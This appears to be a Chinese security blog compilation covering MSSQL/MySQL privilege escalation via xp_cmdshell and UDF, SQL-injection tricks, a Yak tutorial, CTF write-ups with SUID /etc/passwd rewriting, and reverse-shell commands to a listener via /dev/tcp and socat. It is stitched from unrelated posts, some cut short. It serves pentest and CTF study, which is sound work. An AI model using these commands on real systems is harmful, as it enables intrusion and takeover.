本篇文章以Windows中文环境下MSSQL和MySQL两种数据库提权为案例

前言

数据库提权调用

无论是MSSQL还是MySQL，当我们通过数据库执行系统命令时，实际上都是在调用操作系统的命令行接口。如图所示，当我们在数据库中执行ping命令时：

• MSSQL

  

• MySQL:

在提权过程中所有的系统命令最终都要通过操作系统的命令行解释器来执行。在中文Windows系统环境下，提权便调用了cmd.exe

字符集

Windows查询命令行解释器的字符集

• chcp 命令

例如，这里的代码页 936 表示简体中文（GB2312）

• cmd程序属性

  

在中文Windows系统环境下，cmd.exe默认使用GBK字符集进行输入输出处理，这意味着：

1. 从数据库传递给cmd的命令参数必须是GBK编码
2. cmd执行结果的输出也是GBK编码
3. 如果字符集不匹配，就会出现乱码或命令执行失败

排坑指南

接下来介绍在渗透过程由于GBK字符集遇到以下情况的解决办法

• 命令参数包含中文路径时执行失败
• 输出结果乱码无法正确解析
• ……

MSSQL盲注提权

环境背景

在针对基于IIS + ASP.NET + MSSQL架构的Web应用进行渗透测试时，发现存在SQL注入漏洞，环境情况如下:

• 注入类型: 布尔盲注、堆叠注入
• 环境限制: 不出网、仅暴露80/443端口
• 权限状况: 数据库用户为sysadmin，执行命令权限为nt authority\system
• 系统环境: 中文Windows Server

为了后续方便内网渗透需要写入一个Webshell

流程

大体流程如下：

1. 创建临时表存储命令执行结果
2. 利用堆叠执行系统命令，将结果插入临时表
3. 通过盲注获取网站物理路径
4. 写入Webshell到网站目录

寻找网站根路径

根据权限级别，我们有不同的命令选择：

高权限情况下：

1
2
3

c:\windows\system32\inetsrv\appcmd list vdir

type C:\Windows\System32\inetsrv\Config\applicationHost.config | find "physicalPath"

一般权限情况下：

1

dir C:\ /s /b | find "[替换为网站已有的静态文件]"

踩坑01：寻找网站根路径中文路径的乱码问题

问题现象: 包含中文路径的配置无法正确显示，返回的结果出现乱码。

当我们执行以下命令时：

1

exec master..xp_cmdshell "type C:\Windows\System32\inetsrv\Config\applicationHost.config | find \"physicalPath\""

根本原因:

applicationHost.config文件使用UTF-8编码保存，但CMD使用GBK字符集解码，导致中文字符显示为乱码

解决方案:

使用CyberChef等工具，通过”Encode text” → “Encode text”的recipe来恢复正确的中文字符。

盲注中的非ASCII字符处理

在SQL Server中，ASCII()函数无法正确处理非ASCII字符：

1

SELECT ASCII('P') AS [ASCII], ASCII('中') AS [Chinese];

可以看到ASCII()函数无法正确映射非ASCII字符到正确的字符码位

1

SELECT NCHAR(80) AS [CHARACTER], NCHAR(214) AS [CHARACTER];

解决思路1 - 使用UNICODE函数：

UNICODE函数支持返回正确的字符码位，可以通过使用它来找到非ASCII字符的正确码位。并可通过NCHAR函数恢复为字符

1

SELECT UNICODE('中') AS [Unicode_Value];

1

SELECT NCHAR(20013) AS [Character]; 

解决思路2 - 十六进制转换：

1
2
3
4
5
6
7
8
9
10
11

SELECT 
  CONVERT   (
    VARCHAR (MAX), 
    CONVERT (
      varbinary (MAX), 
      (
        SELECT entry_value FROM daily_back WHERE id = 1
      )
    ), 
    2
  );

这种方法将中文字符转换为十六进制，通过盲注逐个字节读取，再通过CyberChef恢复原始字符。

sqlmap os-shell

那我用SQLMAP就没啥坑了吧？有的兄弟有的

使用sqlmap的os-shell功能时，同样会遇到字符集问题，出现中文会执行失败：

为什么会这样呢？补充个参数--proxy http://127.0.0.1:8080，用bp抓个包分析一下

依旧执行dir C:\inetpub\中文路径 命令

解码得到

1
2
3

DECLARE @gqxz VARCHAR(8000);
SET @gqxz=0x64697220433a5c696e65747075625ce4b8ade69687e8b7afe5be84;
INSERT INTO sqlmapoutput(data) EXEC master..xp_cmdshell @gqxz--

将0x64697220433a5c696e65747075625ce4b8ade69687e8b7afe5be84通过CyberChef解码一下，发现是默认的UTF8编码的命令

所以我们可以得到包含中文的命令执行失败原因为：SQLMAP的os-shell会自动将字符出使用UTF8编码，并直接输入xp_cmdshell 但CMD使用GBK解码导致乱码，执行失败

解决办法: 遇到包含中文的命令时，改用sqlmap的sql-shell直接执行：

1

exec master..xp_cmdshell "xxxxx"

MySQL UDF提权

输出结果编码错误

在中文Windows环境下MySQL UDF提权中，最常见的问题是执行结果的编码问题：

1

SELECT sys_eval("dir E:\\");

对应的解决办法很简单，udf函数外加一层编码转化的函数

1

SELECT CONVERT(sys_eval('dir E:\\') USING gbk);

命令中的非ASCII字符处理

当命令参数包含中文，由于MySQL输入会根据默认字符集(utf8mb4/latin1)编码对应的命令进入命令行解释器

1

SELECT CONVERT(sys_eval("dir E:\\附件") USING gbk);

解决方案

方法1 - 十六进制编码: 使用CyberChef将命令转换为对应编码的十六进制

然后使用十六进制替代原有的字符串，防止MySQL因为默认编码问题导致的含有中文命令执行错误问题

方法2 - 编码函数:

既然又是编码问题，那再次使用MySQL的编码转化的函数不就好了吗？何必转成16进制这么麻烦

1

SELECT CONVERT(sys_eval(CONVERT('dir E:\\附件' USING gbk)) USING gbk);

总结

总是遇到这种奇奇怪怪的问题。。。。

字符集问题在数据库渗透测试中往往被忽视，在Windows环境下应当格外注意

Yakit使用的是Yak语言，所以在写插件之前需要学习一下Yak语言（感觉比较像Python和JavaScript）

变量与数据类型

变量

Yak中赋值符为：=

定义变量

使用var作为关键词，var后使用空格作为分隔符即可定义变量

1
2
3

var a            // 声明变量a
var b, c         // 声明变量b和c
var d, e = 1, 2  // 声明变量d和e，并分别赋值为1和2

在没有var修饰的时候，赋值符“=”会为左边的“标识符”自动创建一个变量

基础数据类型

• int：表示可以带正负号的整数数据类型（在Yak语言中占用的大小为64位）；
• string：用于表示一系列字符数据的，字符串中可以使用转义字符，例如\n等；
• float：用于表示浮点数；
• byte：等同于“无符号8位整数”，通常用来表示一个“字节”，类似C语言中的Char类型；
• nil与undefined一般用于表示一个未定义的变量或者空值；
• bool：表示“布尔值”，其值只有两种情况，true或false；

Tips:

声明一个非十进制的整数

1
2
3
4
5
6
7
8

// 二进制声明
a = 0b10// a赋值2

// 八进制声明
b = 0100// b赋值64

// 十六进制声明
d = 0x10// d赋值16

多行文本

可以使用``(反引号)来定义多行文本，此时会忽略文本中的转义符号

1
2
3
4
5
6
7
8
9
10

abc = `Hello World\n
Hello Yak`
println(abc)

/*
Output:

Hello World\n
Hello Yak
*/

格式化字符串

Yak语言使用%进行基本的字符串格式化。格式化字符串的两种用法和操作基本语法：

1. printf函数：第一个参数为需要格式化的字符串模版，其余参数为为格式化字符串中的参数；

2. %格式化操作符：

   • %左边为需要格式化的模版，右边为一个格式化字符串的参数，例如 "Hello %v" % "World"；

   • 如果有多个需要格式化的点，那么需要使用 []来包裹，并用逗号分隔元素，例如："My name is %v, I am %d years old" % ["John", 18]。

示例：

1
2
3
4
5
6
7
8
9

printf("Hello I am %d years old\n", 18)
println("Hello %v + %05d" % ["World", 4])

/*
OUTPUT:

Hello I am 18 years old
Hello World + 00004
*/

格式化字符串中的占位符

字符串模版字面量

​类似于Python，在字符串的前面加上一个小写的 f，然后在字符串内部用 ${} 包裹需要插入的表达式。

示例：字符串中插入变量 a 和 name 的值。

1

println(f`Hello ${a}, Hello ${name}`)

其他数据类型

列表类型：List

在 Yak 语言中，List 是一种动态数组，它可以存储和管理相同类型的元素。Yak 语言支持字面量声明和 make 语法来创建 List

字面量创建列表：使用 [var1, var2, var3...] 形式快速声明一个 List。Yak 语言会根据列表内的元素类型自动推断合适的 List 类型。

**字典类型：**map

字典用于存储键值对

字面量创建字典示例：

1

m = {"a": 1, "b": 2}

**通道类型：**channel

通道类型用于多线程之间的数据共享

创建与声明：使用make函数来创建一个新的channel。这就像是开设一个新的邮局，用于发送和接收包裹。

1
2

ch := make(chan int)      // 创建一个没有存储空间的int类型的channel
ch2 := make(chan var, 2)  // 创建一个有2个存储空间的var类型的channel

数据写入

1
2
3

ch <- 1      // 将一个整数1寄出到ch，但是因为 ch 在上文创建时没有声明存储空间，这里会阻塞
ch2 <- "a"   // 将一个字符串寄出到ch2
ch2 <- 0     // 将一个整数0寄出到ch2

读取数据

1

v := <-ch    // 从ch取走一个包裹

Tips：判断数据是否取走

1
2
3
4
5
6

v, ok := <-ch
if ok {
    println("取走成功，值为:", v)
} else {
    println("邮局已关闭")
}

Channel的属性

Yak提供了一些内置的函数来检查channel的当前状态。

1
2

len(ch2)   // 查看ch2中还有多少个包裹
cap(ch2)   // 查看ch2最多能存放多少个包裹

关闭Channel

关闭后的channel不能再寄出数据，但仍然可以从中取走数据。

1

close(ch2)

运算符

数学运算

数学运算包括加、减、乘、除和取余等操作：

1
2
3
4

println(2 + 2)    // 输出: 4
println(50 - 5*6) // 输出: 20
println(8 / 5)    // 输出: 1
println(17 % 3)   // 输出: 2

逻辑运算符

逻辑运算符在Yak语言中用于进行逻辑操作，包括逻辑与(&&)和逻辑或(||)

这两个运算符都具有短路特性，即如果左侧的操作数已经能确定整个表达式的值，那么就不会再计算右侧的操作数

1
2
3
4
5

a = true
b = false

println(a && b) // 输出：false
println(a || b) // 输出：true

三元逻辑运算符

形式为condition ? value1 : value2

如果condition为真，则表达式的结果为value1，否则为value2。这个运算符也具有短路特性，即如果条件已经能确定整个表达式的值，那么就不会再计算其他的值。以下是一些使用示例：

1
2

a = 5b = 3
result = a > b ? a : bprintln(result) // 输出：5

控制与循环

这部分比较像Python，直接写示例就好了

条件判断

示例：

1
2
3
4
5
6
7
8
9
10
11
12

x = 88; // 学生的成绩
if x >= 90 {
    print("非常优秀");
} else if x >= 80 {
    print("优秀");
} else if x >= 70 {
    print("良好");
} else if x >= 60 {
    print("普通");
} else {
    print("不及格");
}

SWITCH 语句

示例：

1
2
3
4
5
6
7
8
9
10
11
12
13

grade = 'B'
switch (grade) {
  case 'A':
    println("优秀");
  case 'B':
    println("良好");
  case 'C':
    println("合格");
  case 'D':
    println("需要努力");
  default:
    println("无效的成绩");
}

此外，switch允许一个case分支匹配多个值

For循环

定义：

1
2
3

for 表达式1 ; 表达式2 ; 表达式3 {
    循环体 
}

首先运行表达式1 -> 判断表达式2，如果成立则运行循环体中的代码 -> 每一次循环后执行表达式3 -> 进行表达式2的判断并循环执行，直到表达式2判断为假，则结束整个函数。

TIPS：

简化的For循环

对于无初始化表达式和每次循环后的迭代表达式的for循环，可以写为：

1
2
3

for 布尔表达式 {
    循环体
}

遍历列表

使用for-range与使用for-in效果相同

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

for i, v = range a {
println(i, v)
}

//等同于

for v in a {
    println(v)
}

/*
OUTPUT:
0 a
1 b
2 c
3 d
*/

• i, v是我们在每次迭代中定义的两个变量，其中i将存储当前的索引，而v将存储与该索引对应的值（若只迭代一个变量，迭代的值将会是索引）。
• range a是一个表达式，它创建了一个从集合a中提取索引和值的范围。

遍历字典

使用for-range/for-in遍历字典，这样可以同时获取键和值：

1
2
3
4
5
6
7
8
9

for k, v = range b {
    printf("%s:%d, ", k, v)
}

//等同于

for k, v in b {
    printf("%s:%d, ", k, v)
}

在这个循环中，k和v分别在每次迭代时被赋予字典中的键和对应的值

遍历通道

遍历通道中的数据可以使用for-range/for-in语句来实现这一点：

1
2
3
4
5
6
7
8
9

for result = range ch { // 遍历通道内的数据
    println("fetch chan var [ch] element: ", result)
}

//等同于

for result in ch { // 遍历通道内的数据
    println("fetch chan var [ch] element: ", result)
}

直接指定循环次数

1
2
3

for in n {
// 循环体将执行n次
}

如需当前的索引：

1
2
3

for i in n {
// 可以使用变量i，它从0开始，直到n-1
}

或使用range关键字：

1
2
3

for range n {
// 循环体将执行n次
}

如果需要索引，可以将i和range一起使用（注意：range 前有一个 =）：

1
2
3

for i = range n {
// 可以使用变量i，它从0开始，直到n-1
}

插件

Yakit的插件基本可以分成三种类型：交互式插件(Yak原生插件)、MITM 插件、Codec插件

交互式插件类似于单开一个功能页面

MITM 插件用于被动扫描时对漏洞进行检测

Codec插件用于对数据包进行操作，可以设置右键调用，对HTTP数据进行变形

API

Yakit插件编写提供的API

API手册 | Yak Program Language

几个比较经常用到的API

https://yaklang.com/api-manual/api/cli (用于输入插件所需的数据)

https://yaklang.com/api-manual/api/codec (Crypto等操作)

https://yaklang.com/api-manual/api/poc (获得、修改数据包等操作)

写这篇文章的原因是在某次HVV期间遇到了个ASP.NET站点搭配使用了Microsoft Sql Server,于是想总结一下SQLI在SQLServer中的一些姿势

权限判断

Tips：

判断能否堆叠

判断是否能堆叠注入可以使用下面语句作为堆叠的语句，人为设置响应延迟与正常响应时间进行对比从而判断第二个语句是否被执行

1

WAITFOR DELAY '00:00:05'; -- 执行暂停 5 秒钟

• 若响应时间大于设置的延迟说明第二个语句被执行
• 若存在堆叠，还可以根据延迟的时间判断传入的这个参数被多少句SQL语句中使用

判断站库分离

站库分离：网站程序和数据库分别放在了不同的服务器上

判断站库分离可以通过判断客户端主机名和服务端主机名是否一致进而判断是否为站库分离

获取客户端主机名

1

SELECT host_name();

获取服务端主机名

1
2
3

SELECT @@servername;

SELECT serverproperty('MachineName'); 

若客户端主机名与服务端主机名一致则站库不分离，不一致则站库分离

在进行判断时可以在注入点后添加条件,若条件为真则站库不分离

1

AND host_name()=@@servername

查找站点路径

可以通过IIS的配置文件applicationHost.config

C:\Windows\System32\inetsrv\config\applicationHost.config

处理中文

SQL Server中ASCII ()函数进行了说明👉ASCII (Transact-SQL) - SQL Server | Microsoft Learn

ASCII 是一个 7 位字符集。 扩展的 ASCII（或称 High ASCII）是不由 ASCII 函数处理的 8 位字符集， ASCII 函数能够读取前 7 位的流，而不包括剩余的 1 位。

UNICODE 函数支持返回正确的字符码位，可以通过使用它来找到字符 æ 的正确码位。并可通过NCHAR函数恢复为字符

但值得注意的是在 SQL Server 中，字符串字面量默认使用数据库的默认字符集进行处理，在遇到数据库使用字符集中不存在字符时，无论使用 UNICODE 函数还是转化为16进制依旧会转化成非预期结果

并且一旦写入数据库，即使使用 如：CAST(MyColumn AS nvarchar(MAX)) 将 列 MyColumn 显式地转换为 nvarchar 类型也无法恢复

[!TIP]

若需要在不改变数据库的默认字符集情况下，能使用UNICODE 函数或转16进制时正确转化，建议大家这里根据情况将需要读的列设置为 nvarchar 类型

例如：在字符集Chinese_PRC_CI_AS下

1

SELECT UNICODE('æ')

结果为63而非230

在设置列为nvarchar 类型的前提下，对于中文的处理可以使用以下方式

• 将中文使用转化为UNICODE函数转化，再通过NCHAR函数恢复为中文

  例如：

  1	SELECT UNICODE(SUBSTRING((SELECT entry_value FROM daily_back WHERE id = 16), 1, 1))

• 将中文转化为16进制，再通过CyberChef的Recipe为From Hex -> Decode text编码方式选择为UTF-16LE恢复为中文

  例如：

  1	SELECT CONVERT(varchar(max), CONVERT(varbinary(max), (SELECT entry_value FROM daily_back WHERE id = 16)), 2);

由于中文对应的UNICODE会很大很大，这里更推荐使用16进制进行。不嫌麻烦也可以把UNICODE转化为十六进制

靶标介绍：

Certify是一套难度为中等的靶场环境，完成该挑战可以帮助玩家了解内网渗透中的代理转发、内网扫描、信息收集、特权提升以及横向移动技术方法，加强对域环境核心认证机制的理解，以及掌握域环境渗透中一些有趣的技术要点。该靶场共有4个flag，分布于不同的靶机。

1
2
3
4
5
6
7
8
9

   ██████                   ██   ██   ████         
  ██░░░░██                 ░██  ░░   ░██░   ██   ██
 ██    ░░   █████  ██████ ██████ ██ ██████ ░░██ ██ 
░██        ██░░░██░░██░░█░░░██░ ░██░░░██░   ░░███  
░██       ░███████ ░██ ░   ░██  ░██  ░██     ░██   
░░██    ██░██░░░░  ░██     ░██  ░██  ░██     ██    
 ░░██████ ░░██████░███     ░░██ ░██  ░██    ██     
  ░░░░░░   ░░░░░░ ░░░       ░░  ░░   ░░    ░░  
  

老习惯

1
2
3
4
5
6
7
8
9
10
11
12
13

 ________  _______   ________  _________  ___  ________ ___    ___ 
|\   ____\|\  ___ \ |\   __  \|\___   ___\\  \|\  _____\\  \  /  /|
\ \  \___|\ \   __/|\ \  \|\  \|___ \  \_\ \  \ \  \__/\ \  \/  / /
 \ \  \    \ \  \_|/_\ \   _  _\   \ \  \ \ \  \ \   __\\ \    / / 
  \ \  \____\ \  \_|\ \ \  \\  \|   \ \  \ \ \  \ \  \_| \/  /  /  
   \ \_______\ \_______\ \__\\ _\    \ \__\ \ \__\ \__\__/  / /    
    \|_______|\|_______|\|__|\|__|    \|__|  \|__|\|__|\___/ /     
                                                      \|___|/      

flag02: flag{04484084-cc7b-40d2-8be1-fabd519f22a5}

Yes, you have enumerated smb. But do you know what an SPN is?

简介

在Linux中suid可以让调用者以文件拥有者身份运行该文件，所以利用suid提权的核心就是运行root用户所拥有的suid的文件

题目

[湖湘杯 2021 final]Penetratable

这题很有渗透的感觉，建议当成渗透题目来做

可以先扫描一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40

┌──(wells㉿XiaoWEI)-[~]
└─$ sudo dirsearch -u http://node4.anna.nssctf.cn:28571/
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
  from pkg_resources import DistributionNotFound, VersionConflict

  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460

Output File: /home/wells/reports/http_node4.anna.nssctf.cn_28571/__25-03-27_21-36-09.txt

Target: http://node4.anna.nssctf.cn:28571/

[21:36:09] Starting:
[21:36:14] 403 -  288B  - /.ht_wsr.txt
[21:36:14] 403 -  288B  - /.htaccess.bak1
[21:36:14] 403 -  288B  - /.htaccess.orig
[21:36:14] 403 -  288B  - /.htaccess_extra
[21:36:14] 403 -  288B  - /.htaccess.sample
[21:36:14] 403 -  288B  - /.htaccess.save
[21:36:14] 403 -  288B  - /.htaccessBAK
[21:36:14] 403 -  288B  - /.htaccess_sc
[21:36:14] 403 -  288B  - /.htaccess_orig
[21:36:14] 403 -  288B  - /.htaccessOLD
[21:36:14] 403 -  288B  - /.htaccessOLD2
[21:36:14] 403 -  288B  - /.htm
[21:36:14] 403 -  288B  - /.html
[21:36:14] 403 -  288B  - /.htpasswds
[21:36:14] 403 -  288B  - /.httr-oauth
[21:36:14] 403 -  288B  - /.htpasswd_test
[21:36:15] 403 -  288B  - /.php
[21:36:28] 301 -  335B  - /app  ->  http://node4.anna.nssctf.cn:28571/app/
[21:36:28] 200 -  520B  - /app/
[21:36:33] 301 -  338B  - /config  ->  http://node4.anna.nssctf.cn:28571/config/
[21:36:33] 200 -  487B  - /config/
[21:36:53] 200 -    0B  - /phpinfo.php
[21:36:59] 403 -  288B  - /server-status/
[21:36:59] 403 -  288B  - /server-status
[21:37:03] 301 -  338B  - /static  ->  http://node4.anna.nssctf.cn:28571/static/

有一个phpinfo.php但直接访问没有任何东西

回到主题页面来

通过修改id参数可以知道有两个用户一个root一个admin，尝试构造注入等也没有任何收获

在findsomething中能找到已知的路由

1
2
3
4
5
6
7
8
9
10
11

/?c=admin
/?c=admin&m=updatePass
/?c=app&m=login
/?c=app&m=register
/?c=app&m=signOut
/?c=root
/?c=root&m=downloadRequestLog&filename=
/?c=root&m=getLogList
/?c=root&m=getUserInfo
/?c=user
/?c=user&m=updateUserInfo

尝试直接登录/?c=admin和/?c=root会提示没有权限

尝试注册一个正常的用户，登录进去后会发现有修改密码的功能

这里可以修改自己的密码，想越权到修改其他用户的密码

尝试抓包修改

发现成功修改admin的密码，但在修改root的时候被提示没有权限

这里猜测可以通过/?c=admin&m=updatePass这个路由进行修改root用户的密码

登录admin用户，查看/?c=admin&m=updatePass中所需要的参数

/static/js/req.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

function updatePass(){
    // let name=encodeURIComponent(Base64.encode($(".input-group>input").eq(0).val()))
    // let oldPass=$(".input-group>input").eq(1).val()?hex_md5($(".input-group>input").eq(1).val()):'';
    // let newPass=$(".input-group>input").eq(2).val()?hex_md5($(".input-group>input").eq(2).val()):'';
    // let saying=encodeURIComponent(Base64.encode($(".input-group>input").eq(3).val()))
    // $.ajax({
    //     url: '/?c=admin&m=updatePass',
    //     type: 'post',
    //     data: 'name='+name+'&newPass='+newPass+'&oldPass='+oldPass+'&saying='+saying,
    //     // async:true,
    //     dataType: 'text',
    //     success: function(data){
    //         alertHandle(data);
    //     }
    // });
}

尝试使用这个被注释的路由，通过这个路由成功修改root的密码

登录进root的面板发现有个log的文件，与/?c=root&m=downloadRequestLog&filename=与之对应，发现有个目录穿越，发现在根目录有/flag文件但无法读取，应该是需要提权的

这边犯傻了，把所有文件都看了一遍还以为在主体代码有什么rce漏洞，后面才注意到最开始扫到的phpinfo.php这个文件。。。

通过CMD5查询到Webshell的密码为1q2w3e

反弹个shell后查看一下flag的文件权限

1

-r--------   1 root root   45 Mar 27 15:20 flag

看来是要提权，先看一下suid提权

1
2
3
4
5
6
7
8
9
10
11

www-data@6aae652213e24b63:/var/www/html$ find / -perm -u=s -type f 2>/dev/null
/bin/su
/bin/sed
/bin/umount
/bin/mount
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/gpasswd
/usr/bin/chfn
/usr/lib/openssh/ssh-keysign

发现有sed，尝试使用sed替换/etc/passwd中密码的部分

1
2
3
4
5
6
7

www-data@6aae652213e24b63:/var/www/html$ perl -le 'print crypt("test","addedsalt")'
adMpHktIn0tR2
www-data@6aae652213e24b63:/var/www/html$ sed -i 's/root:x/root:adMpHktIn0tR2/g' /etc/passwd
www-data@6aae652213e24b63:/var/www/html$ su
Password: 
root@6aae652213e24b63:/var/www/html# cat /flag
NSSCTF{689a8f95-ec99-490e-8dbf-65f9df21d716}

SUDO提权

sudo -l

https://gtfobins.github.io/

CVE提权

SUDO CVE

CVE-2021-3156

影响范围

1.8.21.8.31p2下的所有旧版本sudo，以及1.9.01.9.5p1的所有稳定版sudo

exp

https://github.com/Rvn0xsy/CVE-2021-3156-plus#

例子

[NSSRound#18 Basic]Becomeroot

当Webshell反弹到服务器上时经常都是非交互式的，具体表现为控制符变成了转义序列。在某些时候就很难下一步操作了，比如需要使用vim时显示一堆的控制符，在Ctrl+C时却退出了Shell

升级Shell为交换式的小Tip：

python pty 方式

前提条件是目标主机上需要有python

1. 查看监听服务器终端和STTY信息

1
2
3
4
5
6
7
8
9
10
11
12

root@localhost:~# echo $TERM  
xterm

root@localhost:~# stty -a 
speed 38400 baud; rows 47; columns 160; line = 0;
intr = ^C; quit = ^\; erase = ^?; kill = ^U; eof = ^D; eol = <undef>; eol2 = <undef>; swtch = <undef>; start = ^Q; stop = ^S; susp = ^Z; rprnt = ^R; werase = ^W;
lnext = ^V; discard = ^O; min = 1; time = 0;
-parenb -parodd -cmspar cs8 -hupcl -cstopb cread -clocal -crtscts
-ignbrk -brkint -ignpar -parmrk -inpck -istrip -inlcr -igncr icrnl ixon -ixoff -iuclc -ixany -imaxbel -iutf8
opost -olcuc -ocrnl onlcr -onocr -onlret -ofill -ofdel nl0 cr0 tab0 bs0 vt0 ff0
isig icanon iexten echo echoe echok -echonl -noflsh -xcase -tostop -echoprt echoctl echoke -flusho -extproc

这里我们的终端信息为xterm，stty的行数(rows)为47，列数(columns)为160

2. 在监听服务器开启监听

1
2

root@localhost:~# nc -lvp 8077
Listening on 0.0.0.0 8077

3. 在目标机器执行反弹shell命令

1

bash -i >& /dev/tcp/192.168.1.1/8077 0>&1

这里我们反弹的shell为bash，此时监听服务器收到了反弹的shell

1
2
3
4
5
6

root@ctf:~# nc -lvp 8077
Listening on 0.0.0.0 8077
Connection received on 1.14.71.254 36490
bash: cannot set terminal process group (432): Inappropriate ioctl for device
bash: no job control in this shell
www-data@09010c0e86d04512:/var/www/html$ 

4. 启用python交互式

1
2

www-data@09010c0e86d04512:/var/www/html$ python3 -c 'import pty; pty.spawn("/bin/bash")'
<ml$ python3 -c 'import pty; pty.spawn("/bin/bash")'

5. 按下Ctrl+Z，后台挂起

6. 刷新终端

1
2
3
4
5

root@ctf:~$ stty raw -echo 

root@ctf:~$ fg  #这个指令输入的时候不会回显

www-data@09010c0e86d04512:/var/www/html$ reset 

可能这时候就会有如下的提示询问终端类型，此时就可以直接输入终端信息然后回车

1
2

reset: unknown terminal type unknown
Terminal type? 

若无提示需要设置

1

www-data@6aae652213e24b63:/var/www/html$ export TERM=xterm

7. 根据自己的终端信息设置如下参数

1
2

$ export SHELL=bash
$ stty rows 47 columns 160

socat 反弹Shell

socat的可执行文件可以从https://github.com/3ndG4me/socat/releases下载

1. 在监听服务器开启监听

1

$ socat file:`tty`,raw,echo=0 tcp-listen:8088

这里的9999为监听的端口

2. 把socat可执行文件上传到目标机器上，然后执行：

1

user@414e07ee65d84196:~$ ./socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:111.111.111.111:8088

其中111.111.111.111:9999为监听服务器的IP和端口

靶标介绍：

Legacy Network 是一家在信息技术领域拥有 20 年历史的老牌企业，专注于为中小型公司提供IT解决方案和支持服务。由于长期依赖于过时的基础设施和内部网络，Legacy Network 在现代化的安全防护体系方面存在许多不足，特别是在权限控制、过时的软件、未及时更新补丁等方面存在显著问题。你的目标是通过渗透进入该网络，获取每台机器的权限，该靶场共有 4个Flag，分布于不同的靶机。

官方WP指路：https://github.com/ImaginaryCTF/ImaginaryCTF-2024-Challenges-Public/tree/main/Web

readme

(100 pts) - 978 solves by maple3142

Description

Try to read the flag.txt file.

附件：点击下载附件

先看dockerfile(虽然flag在这边露出来了)，这是个node后端+nginx的配置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21

FROM node:20-bookworm-slim

RUN apt-get update \
    && apt-get install -y nginx tini \
    && apt-get clean \
    && rm -rf /var/lib/apt/lists/* /tmp/* /var/tmp/*

WORKDIR /app
COPY package.json yarn.lock ./
RUN yarn install --frozen-lockfile
COPY src ./src
COPY public ./public

COPY default.conf /etc/nginx/sites-available/default
COPY start.sh /start.sh

ENV FLAG="ictf{path_normalization_to_the_rescue}"

ENTRYPOINT ["/usr/bin/tini", "--"]
CMD ["/start.sh"]

可以知道flag放置在/app/public文件夹下，然后几个比较关键的文件

default.conf

1
2
3
4
5
6
7
8
9
10
11
12
13
14

server {
    listen       80 default_server;
    listen  [::]:80;
    root /app/public;

    location / {
    #检测url是否在/app/public文件夹下存在这个文件，如果存在返回404
        if (-f $request_filename) {
            return 404;
        }
        proxy_pass http://localhost:8000;
    }
}

/src/app.js

1
2
3
4
5
6
7

const express = require('express')
const path = require('path')

const app = express()
app.use(express.static(path.join(__dirname, '../public')))
app.listen(8000)

所以这道题目很明显的目的就是要绕过nginx的文件检测if (-f $request_filename)，但要在node的这个web程序中能被读取

一通乱尝试

原理分析

readme2

(249 pts) - 56 solves by maple3142

Description

Try to read the flag.txt file, again!

附件：点击下载附件

ok这题不是自己想出来的，以后一定好好看官方文档，原文指路：readme2 | siunam’s Website

附件里的内容很简单，从dockerfile可以知道是使用bun.js起的后端服务

什么是bun？Bun — A fast all-in-one JavaScript runtime

app.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27

const flag = process.env.FLAG || 'ictf{this_is_a_fake_flag}'

Bun.serve({
async fetch(req) {
const url = new URL(req.url)
if (url.pathname === '/') return new Response('Hello, World!')
if (url.pathname.startsWith('/flag.txt')) return new Response(flag)
return new Response(`404 Not Found: ${url.pathname}`, { status: 404 })
},
port: 3000
})

Bun.serve({
async fetch(req) {
if (req.url.includes('flag')) return new Response('Nope', { status: 403 })
const headerContainsFlag = [...req.headers.entries()].some(([k, v]) => k.includes('flag') || v.includes('flag'))
if (headerContainsFlag) return new Response('Nope', { status: 403 })
const url = new URL(req.url)
if (url.href.includes('flag')) return new Response('Nope', { status: 403 })
return fetch(new URL(url.pathname + url.search, 'http://localhost:3000/'), {
method: req.method,
headers: req.headers,
body: req.body
})
},
port: 4000 // only this port are exposed to the public
})

读app.js可以知道后端起了两个服务，对外开放的是4000端口，很明显想要拿到flag，最终需要通过4000端口，访问到3000端口，且url开头以flag.txt。

思路一： 利用host

最开始尝试想能不能利用请求头host，并通过/..最终绕过检测，发现

特性1： 自动处理/..穿梭至上一级url处

传入

会发现双/test消失，原因为第1次传入后，url由于有..所以，所以第一次的url的pathname部分只剩下/，如下图

特性2： url属性是请求包host+get参数的结果

最终传入3000端口的url的pathname变成了/test/test

原因：通过代码最后一段可以发现

1 2 3 4 5

return fetch(new URL(url.pathname + url.search, 'http://localhost:3000/'), { method: req.method, headers: req.headers, body: req.body })

host被原样传入，由于

1 2	const url = new URL(req.url) new URL(url.pathname + url.search, 'http://localhost:3000/')

但此时url的pathname处以及有了一个/test所以最后pathname出现双/test

特性3：通过拼接的url会自动省略 \t（tab键）

发送的请求包如下

在传入后获得的url为

发现\t被自动忽略了

由于在对于/..的处理是在程序运行前，所以可以进行搭配

分析一波

第一次传入后，url为localhost:8100/flag.txt/..(\t被自动省略)，此时还会自动处理/..,所以第一次的url为localhost:8100/，host中的\t不会被自动忽略，所以第一次检测的所有部分都不含有flag，且通过req.url出的url也不含flag

1 2 3 4 5

if (req.url.includes('flag')) return new Response('Nope', { status: 403 }) const headerContainsFlag = [...req.headers.entries()].some(([k, v]) => k.includes('flag') || v.includes('flag')) if (headerContainsFlag) return new Response('Nope', { status: 403 }) const url = new URL(req.url) if (url.href.includes('flag')) return new Response('Nope', { status: 403 })

但由于

1 2 3 4 5

return fetch(new URL(url.pathname + url.search, 'http://localhost:3000/'), { method: req.method, headers: req.headers, body: req.body })

此时host会原封不动的传给3000端口，此时url变为http://localhost:3000/flag.txt/,满足获得flag的条件

即可获得flag

思路二： 利用URL api

